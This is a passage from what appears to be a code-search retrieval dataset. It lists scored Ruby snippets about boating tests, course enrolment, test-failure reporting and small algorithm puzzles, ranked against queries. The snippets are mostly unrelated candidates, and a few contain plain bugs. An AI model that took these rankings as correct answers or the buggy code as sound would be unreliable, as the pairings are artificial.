"docid": "beeb23e6c09fb005fd5865a488d19f95",
"score": "0.5559582",
"text": "def add_boating_test(student, test_name, test_status)\n BoatingTest.new(student, test_name, test_status, self)\n end",
"title": ""
},
{
"docid": "ee653182854dcf51e0a16e5bbcb588c4",
"score": "0.55553746",
"text": "def test_list_instr_invalid\r\n @settings = SystemSettings.find(system_settings(:first).id)\r\n post :list_instructors, nil, session_for(users(:student1))\r\n assert_redirected_to '/denied' \r\n end",
"title": ""
},
{
"docid": "61ef92796a2cbd019d10c27425509de0",
"score": "0.5543808",
"text": "def student_not_already_enrolled\n errors.add(:course_id, \"The student is already enrolled in the selected course.\") unless student_not_already_enrolled?\n end",
"title": ""
},
{
"docid": "2878433d8c47e9eaf44eb219ae49a3d5",
"score": "0.5533221",
"text": "def raise_passfail_exception(testresult, message, testcase, logger)\n if testresult == 'PASS'\n testcase.pass_test(\"\\nTestCase :: #{message} :: PASS\")\n else\n testcase.fail_test(\"\\nTestCase :: #{message} :: FAIL\")\n end\nrescue Beaker::DSL::Outcomes::PassTest\n logger.success(\"TestCase :: #{message} :: PASS\")\nrescue Beaker::DSL::Outcomes::FailTest\n logger.error(\"TestCase :: #{message} :: FAIL\")\nend",
"title": ""
},
{
"docid": "2a22bd5ace880873a440306ff615b0ae",
"score": "0.55270207",
"text": "def test_that_course_students_are_associated_with_students\n new_user = User.create(first_name: \"Alexander\", last_name: \"Rozhenko\", email: \"mydadisawarrior@ds9.com\", photo_url: \"https://vignette2.wikia.nocookie.net/startrek/images/8/8c/Alexander2374.jpg/revision/latest?cb=20060627132913\")\n assert new_user.save!\n\n course_student = CourseStudent.create(student: new_user, student_id: new_user.id, course_id: @course.id)\n assert course_student.student_id == new_user.id\n end",
"title": ""
},
{
"docid": "250beb5e4b80189e94ed84d65243dcd0",
"score": "0.55184466",
"text": "def increment_failing\n $ASSERTION_COUNTS[:total] += 1\n $ASSERTION_COUNTS[:fail] += 1\n end",
"title": ""
},
{
"docid": "6d6ef7f8f1cef466e61b5287eb01e742",
"score": "0.5513063",
"text": "def create_boating_test(student, test_name, test_status)\n BoatingTest.new(student, test_name, test_status, self)\n end",
"title": ""
},
{
"docid": "26ea27e05392212b96e88b6980cce5a2",
"score": "0.55118155",
"text": "def initialize(student_param, boating_test_name_param, boating_test_status_param, instructor_param)\n @student = student_param\n @boating_test_name = boating_test_name_param\n @boating_test_status = boating_test_name_param\n @instructor = instructor_param\n @@all << self\n end",
"title": ""
},
{
"docid": "1fb0d6d49d30e1ddf4384e70a42e496b",
"score": "0.5469054",
"text": "def allure_test_failed(test_name, exception)\n @mutex.synchronize do\n @test_results[test_name][:status] = :failed\n @test_results[test_name][:exception] = exception\n end\n end",
"title": ""
},
{
"docid": "bdfdd7621f25bf0b6dd2e7360c51a1e0",
"score": "0.5454846",
"text": "def tests_taken\n BoatingTest.all.select {|test| test.student == self}\n end",
"title": ""
},
{
"docid": "7f182ce0db4744feedd9e15b32584fff",
"score": "0.54332757",
"text": "def failure(*args, &block)\n add_step_from_args args, run_on: :failure, ignore_result: true, &block\n end",
"title": ""
},
{
"docid": "0a716eb7673631aad438ed3597f2c0fa",
"score": "0.5424638",
"text": "def test_failed(test_case)\n puts \"FAILED: #{test_case.to_formatted_name} (#{test_case._exception.message})\"\n end",
"title": ""
},
{
"docid": "7a875a2efd4fe0fadd07a018136facc6",
"score": "0.54079306",
"text": "def status_change(new_status, student, test_name)\n test_to_change = self.boating_tests.find do |test|\n test.student == student && test.test_name == test_name\n end\n if test_to_change == nil\n test_to_change = BoatingTest.new(student, test_name, new_status, self)\n else\n test_to_change.test_status = new_status\n end\n test_to_change\n end",
"title": ""
},
{
"docid": "3e6e7d240ce4e85833cfa564fc3b15e8",
"score": "0.54077107",
"text": "def assert_format_fails(klass, prop, fail)\n klass.delete_all\n assert_difference \"#{klass.name}.count\" do\n invite = create_instance\n end\n klass.delete_all\n assert_no_difference \"#{klass.name}.count\" do\n invite = create_instance(prop=>fail)\n assert invite.errors.on(prop)\n end\n end",
"title": ""
},
{
"docid": "c77b4b361dc8610deb11f92ba2b2255e",
"score": "0.5402107",
"text": "def set_has_test_failed(status)\r\n @@test_case_fail = status\r\n end",
"title": ""
},
{
"docid": "d43ac5a4e94ae934f8369e53c4a661c9",
"score": "0.53940725",
"text": "def add_failure\n set_sd if @sd.nil?\n @sd.add_failure field_name: \"#{@full_name}::#{@type}\"\n end",
"title": ""
},
{
"docid": "0663931a6f80bea964a2eb704e5e19f4",
"score": "0.5384568",
"text": "def test_duplicate_name\n a = Assignment.new\n\n a.course_id = 1\n a.instructor_id = 1\n a.name = \"Sam\"\n a.save\n\n assert !a.duplicate_name?\n end",
"title": ""
},
{
"docid": "d7b4b51a81cdc3cbe0cd0b314910a438",
"score": "0.5378014",
"text": "def create\n enrollment_created = false\n @course = Course.find(params[:course_id])\n\n if check_id_and_name(student_params)\n flash[:danger] = get_error_message(student_params)\n elsif @course.enrollments.exists?(:student_id => student_params[:student_id]) \n flash[:danger] = 'Student was not added to course. Student is already enrolled in course.'\n elsif !Student.exists?(:student_id => student_params[:student_id])\n @student = Student.create( student_params ) \n @course.enrollments.create( :student_id => @student.student_id )\n enrollment_created = true\n else\n @student = Student.find_by(student_params)\n @course.enrollments.create( :student_id => @student.student_id )\n enrollment_created = true\n end\n\n respond_to do |format|\n if @course.save and enrollment_created\n flash[:success] = 'Student was successfully added to course.'\n format.html { redirect_to admin_course_path(@course, admin_id: @course.admin_id)}\n format.json { render :show, status: :created, location: @student }\n else\n format.html {redirect_to new_admin_course_student_path(@student, course_id: @course.id, admin_id: current_admin.id) }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a00ddab59caabcc5e9f172e79fdf52fa",
"score": "0.535566",
"text": "def check_eligibility(student)\n previous_batch(student) == student.batch_id ? \n failed_condition(\"For student #{student.admission_no} in batch #{@batch.name}, Does not have previous batches \") : true\n end",
"title": ""
},
{
"docid": "3caccf1dc69e792d2b8359c7e6ec5052",
"score": "0.535528",
"text": "def attempt_save_with_ldap(student_data)\n ldap_hash = import_with_ldap(student_data)\n if ldap_hash\n student_data = ldap_hash\n else\n @array_of_fail << [student_data, 'Incomplete student information. Unable to find student in online directory (LDAP).']\n return\n end\n\n student = set_or_create_student_for_import(student_data)\n\n if student.valid?\n student.save\n @array_of_success << student\n return\n else\n @array_of_fail << [student_data, student.errors.full_messages.to_sentence.capitalize + '.']\n return\n end\n end",
"title": ""
},
{
"docid": "d721e928b6c605f13e57dac4630da4e5",
"score": "0.53367954",
"text": "def test_Course_has_primary_instructor_in_CourseInstructor\n\n new_course = Course.create!(name: \"Course 1\", course_code: \"AAA000\")\n new_instructor1 = User.create!(first_name: \"Mr.\", last_name: \"Freeman\", email: \"freeman@gmail.com\")\n new_instructor2 = User.create(first_name: \"Mrs.\", last_name: \"Inman\", email: \"inman@gmail.com\")\n new_instructor3 = User.create(first_name: \"Mr.\", last_name: \"Loser\", email: \"loser@gmail.com\")\n CourseInstructor.create!(course_id: new_course.id, instructor_id: new_instructor1.id)\n CourseInstructor.create(course_id: new_course.id, instructor_id: new_instructor2.id, primary: true)\n CourseInstructor.create(course_id: new_course.id, instructor_id: new_instructor3.id)\n assert new_course.primary_instructor == new_instructor2\n assert new_instructor1.taught_courses[0] == new_course\n new_course.destroy\n new_instructor1.destroy\n new_instructor2.destroy\n new_instructor3.destroy\n end",
"title": ""
},
{
"docid": "de6c5a4fb4751619828244a67bea8d4f",
"score": "0.5335738",
"text": "def test_failed(array)\n last_item = array.length - 1\n test_name = array[last_item - 2]\n reason = array[last_item].chomp.lstrip + ' at line: ' + array[last_item - 3]\n class_name = array[@class_name_idx]\n\n if test_name.start_with? 'TEST('\n array2 = test_name.split(' ')\n\n test_suite = array2[0].sub('TEST(', '')\n test_suite = test_suite.sub(',', '')\n class_name = test_suite\n\n test_name = array2[1].sub(')', '')\n end\n\n test_suite_verify(class_name)\n printf \"%-40s FAILED\\n\", test_name\n\n push_xml_output_failed(test_name, reason) if @xml_out\n end",
"title": ""
},
{
"docid": "2da472b418db6afc31d566cb3a67b525",
"score": "0.5335318",
"text": "def failure!\n\t\t\t\t@failures += 1\n\t\t\tend",
"title": ""
},
{
"docid": "8a236ac9c040ad8e077330fc488827de",
"score": "0.5315137",
"text": "def failure(further_information)\n puts red_bold(\" #{@failure}\")\n puts further_information\n end",
"title": ""
},
{
"docid": "51531e2348585e31744523be22a72d75",
"score": "0.5305211",
"text": "def find_test(student, test_name)\n BoatingTest.all.find {|test| test.student == student && test.test_name == test_name}\n end",
"title": ""
},
{
"docid": "4bc7fe5103243df6fc3c714bb08f902c",
"score": "0.53038543",
"text": "def raise_passfail_exception(testresult, message, testcase, logger)\n if testresult == 'PASS'\n testcase.pass_test(\"\\nTestCase :: #{message} :: PASS\")\n else\n testcase.fail_test(\"\\nTestCase :: #{message} :: FAIL\")\n end\n rescue Beaker::DSL::Outcomes::PassTest\n logger.success(\"TestCase :: #{message} :: PASS\")\n rescue Beaker::DSL::Outcomes::FailTest\n logger.error(\"TestCase :: #{message} :: FAIL\")\n end",
"title": ""
},
{
"docid": "5e48af489701faf88fe4b783573e71a5",
"score": "0.52967453",
"text": "def add_boating_test(test_name, status, instructor)\n BoatingTest.new(self, test_name, status, instructor)\n end",
"title": ""
},
{
"docid": "5782a3ecba397c74c2c40065f96c4239",
"score": "0.5292516",
"text": "def expected_failure (message)\n @custom_status = TestResult::EXP_FAIL\n #Add remarks in summary file\n $test_logger.summary_add_remarks(message, TestResult::EXP_FAIL)\n end",
"title": ""
},
{
"docid": "f234888b1d6e4355c49189333211ec88",
"score": "0.52667034",
"text": "def fail(scenario, args=nil, &block)\n res = execute(scenario, args, &block)\n res.report if res.success?\n res.should.not.success\n return res\n end",
"title": ""
},
{
"docid": "deb2788ac5c4575a0eb658073c63ec0a",
"score": "0.5265648",
"text": "def mark_failed\n @failure = true\n end",
"title": ""
},
{
"docid": "8f34790c41a2e3c76a8ec7f88a1dd9e3",
"score": "0.5252473",
"text": "def check_availability(instructor, student)\n conflicts = []\n\n return ['other'] if instructor.nil?\n if self.type == 'Group'\n conflicts << 'Class Full' if self.full_class?(instructor)\n else\n conflicts << \"instructor not available\"\n end\n conflicts << 'Requested Class Time Too Long' if self.class_too_long?(instructor)\n\n if self.type == 'Group'\n self.students << student\n return conflicts\n else\n [instructor, student].each do |user|\n if self.check_conflict(user)\n conflicts << \"#{user} not available\"\n end\n end\n end\n\n conflicts\n end",
"title": ""
},
{
"docid": "504c5bdf5334be469893d30d8d7ae2d5",
"score": "0.5248487",
"text": "def report_failure(subject)\n begin\n AuditStub.instance.append_error(subject.failure_title, :category => RightScale::EventCategories::CATEGORY_ERROR) if subject.failure_title\n AuditStub.instance.append_error(subject.failure_message) if subject.failure_message\n rescue Exception => e\n fail('Failed to report failure', Log.format(\"Failed to report failure after execution\", e, :trace))\n ensure\n stop\n end\n end",
"title": ""
},
{
"docid": "6909a79a0d04c672a2dd425297b9e95d",
"score": "0.52458036",
"text": "def test_failure(msg, details='')\n # teamcity wants only a single failure per test,\n # but since tests are scenarios, not steps,\n # we need to log only once per scenario\n return unless @failed_scenarios[@current_feature_element].nil?\n msg=teamcity_escape(msg)\n details=teamcity_escape(details)\n name=teamcity_escape(@current_feature_element)\n @failed_scenarios[@current_feature_element]=\"#{msg} #{details}\"\n @io.puts \"##teamcity[testFailed #{timestamp} name='#{name}' message='#{msg}' details='#{details}']\"\n @io.flush\n end",
"title": ""
},
{
"docid": "84ca364484f7d0443938c67203b75ba6",
"score": "0.52449477",
"text": "def test_StudentEmployee_studentid_method\n assert_not_equal('W87654321', @obj.student_id = 'W12345678', \"We expect these to not be equal\")\n assert_equal('W12345678', @obj.student_id = 'W12345678', \"If this fails we're in trouble.\")\n assert_not_equal('nothing', @obj.student_id = 'W12345678', \"We expect these to not be equal\")\n assert_raise(StudentIdException) { @obj.student_id = 'ABC123' }\n end",
"title": ""
},
{
"docid": "95dcc8b29af4683b3de67c03ba191970",
"score": "0.52238256",
"text": "def on_failed_step(*args)\n add_scenario(current_feature.filename, current_scenario.lines[0])\n end",
"title": ""
},
{
"docid": "fff592ea0426b2d7705fc8d810592d30",
"score": "0.52231574",
"text": "def fail(reason)\n status.text = \"Failure: #{reason}\"\n end",
"title": ""
},
{
"docid": "ac880714ae3e245c7f97f28fb56eb86f",
"score": "0.5220923",
"text": "def add_boating_test(instructor, test_name, test_status)\n BoatingTest.new(self,test_name, test_status, instructor)\n end",
"title": ""
},
{
"docid": "ba696c62e4954f3f2003526b8542e041",
"score": "0.52155495",
"text": "def update\n respond_to do |format|\n \n students = @test.course.students\n st = students.collect do |s|\n s.id.to_s\n end\n\n params[:test][:grades_attributes].each do |g, v|\n if (!st.include? v[:student_id])\n s = Student.find(v[:student_id])\n format.html { redirect_to course_tests_url(@test.course), notice: \"No se cargaron la notas ya que el estudiante #{s.name} no está inscripto\" }\n end\n end\n\n if @test.update(test_params)\n format.html { redirect_to course_tests_url(@test.course), notice: \"Evaluación #{@test} actualizada correctamente.\" }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "05d0e1ea3f29bbaefa443b14d3c50aa1",
"score": "0.52050066",
"text": "def test_set_student_name\n #create a student instance\n student_1 = Student.new(\"Grant\", \"G16\")\n #use set student name to change student name to Alan\n student_1.set_name(\"Alan\")\n #assert that name has been changed to Alan\n assert_equal(\"Alan\", student_1.name)\n end",
"title": ""
},
{
"docid": "8159d05abe328076121af6237463f47b",
"score": "0.52010846",
"text": "def invalid_data_test_id\n create_data_test_id('failing')\n end",
"title": ""
},
{
"docid": "03a4eacaef143acfe71d8696d8119b0e",
"score": "0.5195862",
"text": "def initialize(student, test, status, teacher)\n @student = student\n @test_name = test\n @test_status = status\n @instructor = teacher\n self.class.all << self\n end",
"title": ""
},
{
"docid": "7fa66338515e00129e93f0050d5a0e81",
"score": "0.5186686",
"text": "def custom_failure!; end",
"title": ""
},
{
"docid": "a1beb33cc1f9f1387014e50886904955",
"score": "0.51865584",
"text": "def test_failed(source, assertion, *args)\n message = _escape_text(assertion.message)\n backtrace = _escape_text(assertion.backtrace.join(\"\\n\"))\n test_name = source.test.name\n @console.puts(\"##teamcity[testFailed flowId='#{test_name}' timestamp='#{_timestamp}' name='#{test_name}' message='#{message}' details='#{details}']\")\n end",
"title": ""
},
{
"docid": "9aa85a741ef13ec774fed8423ef8bdba",
"score": "0.5185892",
"text": "def failed!\n Stat << \"failed\"\n Stat << \"failed:#{self}\"\n end",
"title": ""
},
{
"docid": "9aa85a741ef13ec774fed8423ef8bdba",
"score": "0.5185892",
"text": "def failed!\n Stat << \"failed\"\n Stat << \"failed:#{self}\"\n end",
"title": ""
},
{
"docid": "9ba1423e65704ab4007bf390babcf9b1",
"score": "0.51853406",
"text": "def mark_as_failure!\n @state && @state = FAILURE\n end",
"title": ""
}
] |
d9a3013bb93626adb12e9949bb845410
|
I adapted this solution from C++ code at:
|
[
{
"docid": "d8f36bab17cd17dd62044a77077683e8",
"score": "0.0",
"text": "def cache_largest_collatz_chain\r\n number = 1000000\r\n sequence_length = 0\r\n starting_number = 0\r\n sequence = 0\r\n cache = Array.new(number + 1, -1)\r\n cache[1] = 1\r\n i = 2\r\n while i <= number\r\n sequence = i\r\n k = 0\r\n while sequence!= 1 && sequence >= i\r\n k += 1\r\n if sequence % 2 == 0\r\n sequence = sequence / 2\r\n else\r\n sequence = sequence * 3 + 1\r\n end\r\n end\r\n cache[i] = k + cache[sequence]\r\n if cache[i] > sequence_length\r\n sequence_length = cache[i]\r\n starting_number = i\r\n end\r\n i += 1\r\n end\r\nend",
"title": ""
}
] |
[
{
"docid": "bc658f9936671408e02baa884ac86390",
"score": "0.5185479",
"text": "def anchored; end",
"title": ""
},
{
"docid": "a412e9fd2c9bc00d7cf684e2b7c9ad16",
"score": "0.5178289",
"text": "def subStringMatchExact(target,key)\n \n#Assign new variable to replace target during calculation \nnewTarget = target\n#Calculate number of characters in key\nkeySize = key.size\n#Define and initialize variable for counting how much target string has been reduced\nreduceCount = 0\n#Define and initialize variable to calculate starting index of where key appears in newTarget\nindex = 0\n#Define and initialize start variable\nstart = 0\n#Define and initialize array for holding starting points\nstartingPoints = Array.new\n\n#If statement to check for empty key\nif key == \"\"\n return\nend\n\n#Loop which ends when key no longer appears in sub strings of target\nwhile index != nil do\n \n #Calculate size of newTarget string\n _targetSize = newTarget.size\n reduceCount = target.size - newTarget.size\n #Calculate index of first appearance of key in newTarget string\n index = newTarget =~ /#{key}/\n \n #If statement to exit when key no longer appears in newTarget\n if index == nil\n break\n end\n \n startingPoints << index + reduceCount\n \n #Calculate index in newTarget following first incidence of key\n start = index + keySize\n \n #Replace newTarget removing first instance of key and everything preceding\n newTarget = newTarget[start.._targetSize]\n \nend\n\nreturn startingPoints\n \nend",
"title": ""
},
{
"docid": "0828bd20f355acb81317936f9574e6cf",
"score": "0.51162374",
"text": "def solution(s)\n # write your code in Ruby 2.2\n stack = []\n open_pairs = Hash[ * %W{( ) [ ] { }} ]\n close_pairs = Hash[ open_pairs.map { |k, v| [v, k] } ]\n\n s.each_char do |ch|\n stack << ch if open_pairs[ch]\n\n if close_pairs[ch]\n open_char = stack.pop\n return 0 if close_pairs[ch] != open_char\n end\n end\n\n stack.empty? ? 1 : 0\nend",
"title": ""
},
{
"docid": "de8a3a1aca9fbcb63e71feb896b01a61",
"score": "0.50814784",
"text": "def solution(a)\n points = []\n a.each_with_index { |r, y| \n points << [y - r, :a] # starts\n points << [y + r, :b] # ends\n }\n points.sort!\n \n intersect = 0\n active = 0\n points.each { |p|\n case p[1]\n when :a # starts\n intersect += active\n return -1 if intersect > 10_000_000\n \n active += 1\n when :b # ends\n active -= 1\n end\n }\n intersect\nend",
"title": ""
},
{
"docid": "4ddb265e96896424132c7b9abe9713d5",
"score": "0.5068788",
"text": "def ArithGeo_2(arr)\n#test for arithmetic sequence first\n #sum from i = 1 to n, = n(n+1) / 2 for sum of 1 .. n\n #general sum of an arithmetic sequence\n #a[1] - a[0] = delta\n #a[0] = a\n #arr.size = n\n #sum = a * n + delta( n(n-1) / 2 )\n sum = arr.sum\n arith_sum = arr[0] * arr.size + (arr[1] - arr[0]) * ((arr.size - 1) * (arr.size) / 2 )\n return \"Arithmetic\" if sum == arith_sum\n\n#test for geometric sequence next\n #sum from i = 1 to n, = { (a * (1 - r ** n) ) / (1 - r) }\n r = arr[1] / arr[0]\n a = arr[0]\n n = arr.size\n geo_sum = (a * (1 - (r ** n)) ) / (1 - r) if r != 1\n if r == 1\n return \"-1\"\n end\n return \"Geometric\" if geo_sum == sum\n\n\n return \"-1\"\nend",
"title": ""
},
{
"docid": "6bea140794febfb09fe665db26afb93f",
"score": "0.5033139",
"text": "def find_loc(a,start,endd)\n endpos = start + endd\n pos = res= 0\n phigh = []\n\n # find startpoint\n a.size.times do |count|\n pos += a[count]\n puts \"#{pos} > #{start}\"\n if pos > start\n res = count+1\n if pos > endd \n phigh[count] = [count, start - (pos - a[count]), endd - (pos - a[count])]\n return phigh\n else\n phigh[count] = [count, start - (pos - a[count]), a[count]]\n break\n end\n end\n end\n\n # find endpoint\n (a.size-res).times do |count|\n puts count+res\n pos += a[count+res]\n puts \"#{pos} >> #{start}\"\n if pos > endd\n phigh << [count+res, 0, endd - (pos - a[count])]\n break\n else\n phigh << [count+res, 0, a[count+res]] \n end\n end\n return phigh\nend",
"title": ""
},
{
"docid": "6bea140794febfb09fe665db26afb93f",
"score": "0.50328416",
"text": "def find_loc(a,start,endd)\n endpos = start + endd\n pos = res= 0\n phigh = []\n\n # find startpoint\n a.size.times do |count|\n pos += a[count]\n puts \"#{pos} > #{start}\"\n if pos > start\n res = count+1\n if pos > endd \n phigh[count] = [count, start - (pos - a[count]), endd - (pos - a[count])]\n return phigh\n else\n phigh[count] = [count, start - (pos - a[count]), a[count]]\n break\n end\n end\n end\n\n # find endpoint\n (a.size-res).times do |count|\n puts count+res\n pos += a[count+res]\n puts \"#{pos} >> #{start}\"\n if pos > endd\n phigh << [count+res, 0, endd - (pos - a[count])]\n break\n else\n phigh << [count+res, 0, a[count+res]] \n end\n end\n return phigh\nend",
"title": ""
},
{
"docid": "3f0b67819d2d89164741586a25635d60",
"score": "0.5018892",
"text": "def return_base_candidate(base_char, base_counter, target_char_arr)\n base_candidate = []\n target_counter = 0\n target_char_arr.each do |target_char|\n verdict = base_char == target_char\n base_candidate << (base_counter - target_counter).abs if verdict\n target_counter += 1\n end\n base_candidate\nend",
"title": ""
},
{
"docid": "2ca2567d3dff0edca8d3f6ea4eb67f58",
"score": "0.50010234",
"text": "def get_and_move_to_front_decode_yy; end",
"title": ""
},
{
"docid": "1151221aa9457e5cad317e4fec922758",
"score": "0.49988934",
"text": "def adjugate; end",
"title": ""
},
{
"docid": "14e86a2f9730bfbb5758f716f3ec278c",
"score": "0.49905026",
"text": "def solution(a)\n # We have to be careful to put the pseudo gates in the right order, otherwise we could ski past the\n # finish line and continue to ski on the mirror image gates. To ensure that once we turn, we cannot\n # access any of the gates on the slope image prior to the turn, we have to put the pseudo gates\n # in the sequence in order from farthest to nearest.\n offset = a.max * 2 + 2 # we want to make sure that no points on the offset maps overlaps points on the other maps\n gates = []\n a.each do |g|\n gates.push(offset + g) # the second set of gates, after the second turn, going left again\n gates.push(offset - g)\n gates.push(g)\n end\n # Now all we have to do is find the length of the longest increasing subsequence of gates\n # m[i] holds the last value in the best sequence of length i\n # I don't know why it's called \"m\", maybe for \"memoize\", but that's what it is called in the\n # literature I'm stealing from, so I'll use it.\n\n max_length = 1\n m = [-1, gates.shift]\n gates.each do |g|\n # Find the longest sequence to add this gate to.\n # Built in bsearch finds the minimum value greater than, so actually it returns the shortest sequence\n # we cannot add this gate to, which is fine. By adding this gate to the sequence one shorter, we\n # create a new, better sequence of this length.\n too_long_idx = (1..max_length).bsearch { |i| m[i] > g }\n unless too_long_idx\n max_length += 1\n m[max_length] = g\n else\n m[too_long_idx] = g\n end\n end\n max_length\nend",
"title": ""
},
{
"docid": "4be98dbc6585c8eed001739391ef1384",
"score": "0.498464",
"text": "def solution(a)\n # write your code in Ruby 2.2\n \n event = Hash.new{|h,k| h[k] = {:start => 0, :stop => 0}}\n\t\n a.each_index {|i| \n event[i - a[i]][:start] += 1\n event[i + a[i]][:stop ] += 1\n } \n \n sorted_events = (event.sort_by {|index, value| index}).map! {|n| n[1]}\n \n past_start = 0 \n intersect = 0 \n sorted_events.each {|e| \n intersect += e[:start] * (e[:start]-1) / 2 + \n e[:start] * past_start \n past_start += e[:start] \n past_start -= e[:stop]\n \n if intersect > 10_000_000 then\n return -1\n end\n } \n return intersect\nend",
"title": ""
},
{
"docid": "3b2f0648314d273c6d31aa719d4e3b1e",
"score": "0.49699283",
"text": "def rfc(num, input)\n n = Array.new(num){[]}\n h = input.chars\n\n num.times do |x|\n n[x].push(h[0])\n h.shift\n end\n\n\n second_index = n.size - 2\n last_index = n.size - 1\n\n while h.size > 0\n\n second_index.downto 0 do |i|\n n[i].push(h[0])\n h.shift\n end\n\n 1.upto last_index do |y|\n n[y].push(h[0])\n h.shift\n end\n end\n\n result = n.flatten.join\n puts result\nend",
"title": ""
},
{
"docid": "8672de13a1a44a1af10d30ff911a50ca",
"score": "0.49504742",
"text": "def perp; end",
"title": ""
},
{
"docid": "8672de13a1a44a1af10d30ff911a50ca",
"score": "0.49504742",
"text": "def perp; end",
"title": ""
},
{
"docid": "08de766c3aa9ce01608aa15f9aa2c871",
"score": "0.49460334",
"text": "def recursive; end",
"title": ""
},
{
"docid": "08de766c3aa9ce01608aa15f9aa2c871",
"score": "0.49460334",
"text": "def recursive; end",
"title": ""
},
{
"docid": "c3a6c4ddb76579e45e3cbe80fba426be",
"score": "0.4943116",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n\r\n l=a.count-1\r\n arr=[]\r\n \r\n \r\n loop do\r\n arr[a[l]-1] = a[l]\r\n \r\n l-=1\r\n break if l<0\r\n end\r\n \r\n if arr.count == a.count\r\n return 1\r\n else\r\n return 0\r\n end\r\n \r\n \r\nend",
"title": ""
},
{
"docid": "4648c334d2c9f8d5a8ebb6448f4f4ae6",
"score": "0.49222025",
"text": "def solution(s, p, q)\n # write your code in Ruby 2.2\n chm = { 'A' => 1, 'C' => 2, 'G' => 3, 'T' => 4 }\n acc = { 'A' => 0, 'C' => 0, 'G' => 0, 'T' => 0 }\n map = { 'A' => [], 'C' => [], 'G' => [], 'T' => [] }\n\n # make prefix_sum\n s.each_char.with_index do |ch, i|\n n = chm[ch]\n acc[ch] += n\n chm.keys.each { |c| map[c][i] = acc[c] }\n end\n\n # puts map.inspect\n\n # detect minimal charectre in range(p, q)\n p.zip(q).map do |i, j|\n next chm[s[i]] if i == j\n\n c = chm['T']\n chm.keys.each do |ch|\n lhs = (i-1 >= 0) ? map[ch][i-1] : 0\n if lhs < map[ch][j]\n c = chm[ch]\n break\n end\n end\n c\n end\nend",
"title": ""
},
{
"docid": "4a21fd90da81a02895a7e32078bf0946",
"score": "0.49199432",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n i=0;\r\n l=a.count\r\n arr=[]\r\n p=0\r\n loop do\r\n arr[a[i]-1] = a[i]\r\n i+=1\r\n \r\n if(i==l)\r\n k=1;\r\n \r\n for j in arr\r\n if(k!=j)\r\n p=k\r\n break\r\n end\r\n k+=1\r\n end\r\n \r\n break\r\n end\r\n end\r\n \r\n \r\n p\r\nend",
"title": ""
},
{
"docid": "f2563f656f9ad2f58bf4381eb84e80ef",
"score": "0.4906846",
"text": "def solution(a)\n # write your code in Ruby 2.2\n count = 0\n a.each_with_index do |v,i|\n return -1 if count > 1000000000\n return count if a[i..-1].count(0) == 0\n count = count + a[i..-1].count(1) if v == 0\n end\n count\nend",
"title": ""
},
{
"docid": "62051e7dfafc461480f69f3b19a24a82",
"score": "0.48943725",
"text": "def bytebeat *a, d:'nil', r:64, i:1, txt:'nil', ec:'nil' \n ec2 = 'nil' \n txt2 = 'nill'\n d1 = self.maxx\n d2 = self.maxy\n\n if d != 'nil'\n case d \n when 'horizontal', 'h'\n d1 = self.maxy\n d2 = self.maxx\n when 'vertical', 'v'\n d1 = self.maxx\n d2 = self.maxy\n end\n end\n\n if a.length() >= 1\n if a.length() == 1\n ec = a[0] \n elsif a.length() == 2\n ec = a[0] \n txt = a[1] \n end\n end\n\n c = 0 \n \n (0...d1).each do |x|\n (0...d2).each do |y|\n if ec != 'nil'\n cc = eval(ec)\n #begin\n # cc = eval(ec)\n # ec2 = ec\n #rescue\n # cc = eval(ec2)\n #end\n else\n cc = c\n end\n\n if txt == 'nil'\n etxt = ' '\n elsif txt.length == 1\n etxt = txt\n else\n etxt = (1 + (eval(txt)).abs).chr(Encoding::UTF_8)\n #begin\n # etxt = (1 + (eval(txt)).abs).chr(Encoding::UTF_8)\n # txt2 = txt\n #rescue\n # etxt = (1 + (eval(txt2)).abs).chr(Encoding::UTF_8)\n #end\n end\n\n if d == 'horizontal' or d == 'h'\n self.pt x, y, cc, etxt\n else\n self.pt y, x, cc, etxt \n end\n\n if c < r\n c += i\n else\n c = 0\n end\n end\n end\n end",
"title": ""
},
{
"docid": "354acc44d23902170d18ef50bb27f5b1",
"score": "0.48924112",
"text": "def dynamic_programming(sorted)\n acc = { sorted.length - 1 => 1 }\n result = 1\n (2..sorted.length).each do |offset|\n (sorted.length - offset + 2...sorted.length).each do |index|\n break unless sorted[index] - sorted[sorted.length - offset] <= 3\n\n result += acc[index]\n end\n acc[sorted.length - offset] = result\n end\n result\nend",
"title": ""
},
{
"docid": "18a05839428f45392659b5406dee3db0",
"score": "0.48921967",
"text": "def lcs(array)\n\nend",
"title": ""
},
{
"docid": "18a05839428f45392659b5406dee3db0",
"score": "0.48921967",
"text": "def lcs(array)\n\nend",
"title": ""
},
{
"docid": "18a05839428f45392659b5406dee3db0",
"score": "0.48921967",
"text": "def lcs(array)\n\nend",
"title": ""
},
{
"docid": "18a05839428f45392659b5406dee3db0",
"score": "0.48921967",
"text": "def lcs(array)\n\nend",
"title": ""
},
{
"docid": "3ac8d472cbb55a47c3fad5c55a80cbf6",
"score": "0.4883982",
"text": "def find_transpositions\n short = @short.select { |c| c != 0 }\n short.each_index do |i|\n break if i == (short.length - 1)\n\n one = short[i..i+1]\n two = @long[i..i+1]\n next if one == two\n\n @match.transpositions += 1 if (one & two).length == 2\n end\n end",
"title": ""
},
{
"docid": "a6297b156d8e6a8eb671461d66a761f5",
"score": "0.4883518",
